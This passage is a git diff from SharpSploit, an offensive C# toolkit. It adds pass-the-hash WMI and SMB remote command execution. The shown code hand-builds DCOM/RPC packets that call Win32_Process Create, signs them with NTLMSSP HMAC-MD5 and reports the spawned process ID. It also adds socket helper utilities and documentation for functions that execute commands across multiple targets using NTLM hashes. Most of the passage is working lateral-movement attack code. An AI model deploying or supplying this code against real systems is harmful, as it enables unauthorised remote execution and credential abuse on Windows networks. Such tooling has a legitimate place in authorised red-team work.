0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x15, 0x01, 0x00, 0x00, 0x73, 0x01, 0x00, 0x00, 0x76, 0x02, 0x00, 0x00, 0xd4, 0x02, 0x00, 0x00, 0xb1, 0x03, 0x00, 0x00, 0x15, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x12, 0x04, 0x00, 0x80, 0x00, 0x5f, 0x5f, 0x50, 0x41, 0x52, 0x41, 0x4d, 0x45, 0x54, 0x45, 0x52, 0x53, 0x00, 0x00, 0x61, 0x62, 0x73, 0x74, 0x72, 0x61, 0x63, 0x74, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x49, 0x6e, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x5e, 0x00, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x94, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x33, 0x32, 0x41, 0x50, 0x49, 0x7c, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x7c, 0x6c, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x20, 0x00, 0x00, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x5e, 0x00, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0xca, 0x00, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x49, 0x44, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x59, 0x01, 0x00, 0x00, 0x5e, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0xca, 0x00, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x11, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x85, 0x01, 0x00, 0x00, 0x00, 0x49, 0x6e, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x85, 0x01, 0x00, 0x00, 0xac, 0x01, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0xe2, 0x01, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x33, 0x32, 0x41, 0x50, 0x49, 0x7c, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x7c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x7c, 0x6c, 0x70, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x20, 0x00, 0x00, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x85, 0x01, 0x00, 0x00, 0xac, 0x01, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x2b, 0x02, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0xda, 0x01, 0x00, 0x00, 0x00, 0x49, 0x44, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xba, 0x02, 0x00, 0x00, 0xac, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x2b, 0x02, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0xda, 0x01, 0x00, 0x00, 0x72, 0x02, 0x00, 0x00, 0x11, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x6f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x00, 0x00, 0x49, 0x6e, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x00, 0x16, 0x03, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x03, 0x00, 0x00, 0x00, 0x57, 0x4d, 0x49, 0x7c, 0x57, 0x69, 0x6e, 0x33, 0x32, 0x5f, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x00, 0x00, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x00, 0x16, 0x03, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x66, 0x03, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0x44, 0x03, 0x00, 0x00, 0x00, 0x49, 0x44, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xf5, 0x03, 0x00, 0x00, 0x16, 0x03, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x66, 0x03, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0x44, 0x03, 0x00, 0x00, 0xad, 0x03, 0x00, 0x00, 0x11, 0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x6f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3a, 0x57, 0x69, 0x6e, 0x33, 0x32, 0x5f, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70 }) + .Concat(new byte[501]) + .Concat(Command_Length) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01 }) + .Concat(Command_Length2) + .Concat(new byte[] { 0x00, 0x80, 0x00, 0x5f, 0x5f, 0x50, 0x41, 0x52, 0x41, 0x4d, 0x45, 0x54, 0x45, 0x52, 0x53, 0x00, 0x00 }) + .Concat(Command_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + + if (Stub_Data.Length < Request_Split_Index) + { + Request_Flags = new byte[] { 0x83 }; + WMI_Client_Stage_Next = "Result"; + } + else + { + Request_Split = true; + double Request_Split_stage_final = Math.Ceiling((double)Stub_Data.Length / Request_Split_Index); + if (Request_Split_Stage < 2) + { + Request_Length = Stub_Data.Length; + Stub_Data = Utilities.GetByteRange(Stub_Data, 0, Request_Split_Index - 1); + Request_Split_Stage = 2; + Sequence_Number_Counter = 10; + Request_Flags = new byte[] { 0x81 }; + Request_Split_Index_Tracker = Request_Split_Index; + WMI_Client_Stage_Next = "Request"; + } + else if (Request_Split_Stage == Request_Split_stage_final) + { + Request_Split = false; + Sequence_Number = BitConverter.GetBytes(Sequence_Number_Counter); + Request_Split_Stage = 0; + Stub_Data = Utilities.GetByteRange(Stub_Data, Request_Split_Index_Tracker, Stub_Data.Length); + Request_Flags = new byte[] { 0x82 }; + WMI_Client_Stage_Next = "Result"; + } + else + { + Request_Length = Stub_Data.Length - Request_Split_Index_Tracker; + Stub_Data = Utilities.GetByteRange(Stub_Data, Request_Split_Index_Tracker, Request_Split_Index_Tracker + Request_Split_Index - 1); + Request_Split_Index_Tracker += Request_Split_Index; + Request_Split_Stage++; + Sequence_Number = BitConverter.GetBytes(Sequence_Number_Counter); + Sequence_Number_Counter++; + Request_Flags = new byte[] { 0x80 }; + WMI_Client_Stage_Next = "Request"; + } + } + + + } + + } + break; + } + Packet_RPC = WMIExec.RPCRequest(Request_Flags, Stub_Data.Length, 16, Request_Auth_Padding, Request_Call_ID, Request_Context_ID, Request_Opnum, Request_UUID); + + if (Request_Split) + { + Packet_RPC["RPCRequest_AllocHint"] = BitConverter.GetBytes(Request_Length); + } + + Packet_NTLMSSP_Verifier = WMIExec.NTLMSSPVerifier(Request_Auth_Padding, new byte[] { 0x04 }, Sequence_Number); + NTLMSSP_Verifier = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Verifier); + RPC_Sign = Sequence_Number.Concat(Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC)) + .Concat(Stub_Data) + .Concat(Utilities.GetByteRange(NTLMSSP_Verifier, 0, Request_Auth_Padding + 7)).ToArray(); + + RPC_Signature = HMAC_MD5.ComputeHash(RPC_Sign); + RPC_Signature = Utilities.GetByteRange(RPC_Signature, 0, 7); + Packet_NTLMSSP_Verifier["NTLMSSPVerifier_NTLMSSPVerifierChecksum"] = RPC_Signature; + NTLMSSP_Verifier = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Verifier); + + WMI_Client_Send = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC).Concat(Stub_Data).Concat(NTLMSSP_Verifier).ToArray(); + WMI_Client_Random_Port_Stream.Write(WMI_Client_Send, 0, WMI_Client_Send.Length); + WMI_Client_Random_Port_Stream.Flush(); + + if (!Request_Split) + { + WMI_Client_Random_Port_Stream.Read(WMI_Client_Receive, 0, WMI_Client_Receive.Length); + } + + while (WMI_Client_Random_Port_Stream.DataAvailable) + { + WMI_Client_Random_Port_Stream.Read(WMI_Client_Receive, 0, WMI_Client_Receive.Length); + Thread.Sleep(10); + } + WMI_Client_Stage = WMI_Client_Stage_Next; + } + break; + case "Result": + { + while (WMI_Client_Random_Port_Stream.DataAvailable) + { + WMI_Client_Random_Port_Stream.Read(WMI_Client_Receive, 0, WMI_Client_Receive.Length); + Thread.Sleep(10); + } + + if (WMI_Client_Receive[1145] != 9) + { + Target_Process_ID = Utilities.DataLength(1141, WMI_Client_Receive); + success = true; + } + + WMI_Client_Stage = "exit"; + } + break; + } + Thread.Sleep(10); + } + WMI_Client_Random_Port.Close(); + WMI_Client_Random_Port_Stream.Close(); + } + } + WMI_Client.Close(); + WMI_Client_Stream.Close(); + } + if (success) + { + output.AppendLine(String.Format("Command executed with process ID {0} on {1}", Target_Process_ID, Target_Long)); + } + else + { + output.AppendLine("Process did not start, check your command"); + } + return output.ToString(); + } } } \ No newline at end of file diff --git a/SharpSploit/Misc/Utilities.cs b/SharpSploit/Misc/Utilities.cs index 6eaa6a0..131643f 100644 --- a/SharpSploit/Misc/Utilities.cs +++ b/SharpSploit/Misc/Utilities.cs @@ -3,9 +3,13 @@ // License: BSD 3-Clause using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Specialized; using System.IO; using System.IO.Compression; using System.Linq; +using System.Net.Sockets; using System.Reflection; using System.Security.Cryptography.X509Certificates; @@ -109,5 +113,47 @@ public static bool Is64Bit { get { return IntPtr.Size == 8; } } + + public static ushort DataLength(int length_start, byte[] string_extract_data) + { + byte[] bytes = { string_extract_data[length_start], string_extract_data[length_start + 1] }; + ushort string_length = BitConverter.ToUInt16(GetByteRange(string_extract_data, length_start, length_start + 1), 0); + return string_length; + } + public static byte[] GetByteRange(byte[] array, int start, int end) + { + var newArray = array.Skip(start).Take(end - start + 1).ToArray(); + return newArray; + } + + public static byte[] ConvertStringToByteArray(string hex) + { + return Enumerable.Range(0, hex.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) + .ToArray(); + } + + public static byte[] ConvertFromPacketOrderedDictionary(OrderedDictionary packet_ordered_dictionary) + { + List byte_list = new List(); + foreach (DictionaryEntry de in packet_ordered_dictionary) + { + byte_list.Add(de.Value as byte[]); + } + + var flattenedList = byte_list.SelectMany(bytes => bytes); + byte[] byte_Array = flattenedList.ToArray(); + + return byte_Array; + } + public static byte[] SendStream(NetworkStream stream, byte[] BytesToSend) + { + byte[] BytesReceived = new byte[2048]; + stream.Write(BytesToSend, 0, BytesToSend.Length); + stream.Flush(); + stream.Read(BytesReceived, 0, BytesReceived.Length); + return BytesReceived; + } } } \ No newline at end of file diff --git a/SharpSploit/SharpSploit.xml b/SharpSploit/SharpSploit.xml index aa42b0d..82d4062 100644 --- a/SharpSploit/SharpSploit.xml +++ b/SharpSploit/SharpSploit.xml @@ -1812,6 +1812,24 @@ https://www.pinvoke.net/default.aspx/Enums/NtStatus.html + + + SMBExec contains all of the functions used to manually create SMB Packet Structures for Pass the Hash attacks. + + + Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + at https://github.com/Kevin-Robertson/Invoke-TheHash) + + + + + WMIExec contains all of the functions used to manually create SMB Packet Structures for Pass the Hash attacks. + + + Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + at https://github.com/Kevin-Robertson/Invoke-TheHash) + + PE is a library for loading PEs in memory. It currently only work for the Mimikatz PE, not for arbitrary PEs. @@ -2186,6 +2204,65 @@ IntPtr. Returns a handle to the SCM. Daniel Duggan (@_RastaMouse) + + + Determines if a username and hash has administrative privilege on a Target + + The Username to query. + The NTLM hash for the user + The logon domain for the user + The Target to query. + True for Admin, False for not. + Scottie Austin (@checkymander) + + Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + at https://github.com/Kevin-Robertson/Invoke-TheHash) + + + + + Execute a command against multiple targets using Pass the Hash and SMB + + The username to log on as. + The NTLM hash for the user. + The logon domain for the user. + The Target computers to run the command on. + The Command to execute on the Target + Sleeptime between actions. Set this if getting unknown failures. (default=15). + The name to give the SMB service for execution. + Check only if user is Admin on targets. + Append %COMSPEC% /C to command. (default=true) + Force usage of SMBv1. + Include debug information in the output. + Returns a string containing execution results. + Scottie Austin (@checkymander) + + Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + at https://github.com/Kevin-Robertson/Invoke-TheHash) + + + + + Execute a command against multiple targets using Pass the Hash and SMB + + The username to log on as. + The NTLM hash for the user. + The logon domain for the user. + The Target computer to run the command on. + The Command to execute on the Target + Sleeptime between actions. Set this if getting unknown failures. (default=15). + The name to give the SMB service for execution. + Check only if user is Admin on targets. + Append %COMSPEC% /C to command. (default=true) + Force usage of SMBv1. + Include debug information in the output. + Returns a string containing execution results. + Scottie Austin (@checkymander) + + Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + at https://github.com/Kevin-Robertson/Invoke-TheHash) + + WMI is a class for executing WMI lateral movement techniques. @@ -2211,6 +2288,59 @@ Password to authenticate the user. Bool. True if execution succeeds, false otherwise. + + + Determines if a username and hash has administrative privilege on a Target + + The Username to query. + The NTLM hash for the user + The logon domain for the user + The Target to query. + True for Admin, False for not. + Scottie Austin (@checkymander) + + Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + at https://github.com/Kevin-Robertson/Invoke-TheHash) + + + + + Execute a command against multiple targets using Pass the Hash and WMI + + The username to log on as. + The NTLM hash for the user. + The logon domain for the user. + The Target computers to run the command on. + The Command to execute on the Target + Sleeptime between actions. Set this if getting unknown failures. (default=15). + Check if user is an Admin on the Target only. + Include debug information in the output + Returns a string containing execution results. + Scottie Austin (@checkymander) + + Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + at https://github.com/Kevin-Robertson/Invoke-TheHash) + + + + + Execute a command against a Target using Pass the Hash and WMI + + The username to log on as. + The NTLM hash for the user. + The logon domain for the user. + The Target computers to run the command on. + The Command to execute on the Target. + Sleeptime between actions. Set this if getting unknown failures. (default=15). + Check if user is an Admin on the Target only. + Include debug information in the output. + Returns a string containing execution results. + Scottie Austin (@checkymander) + + Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + at https://github.com/Kevin-Robertson/Invoke-TheHash) + + CountdownEvent is used for counting Asynchronous operations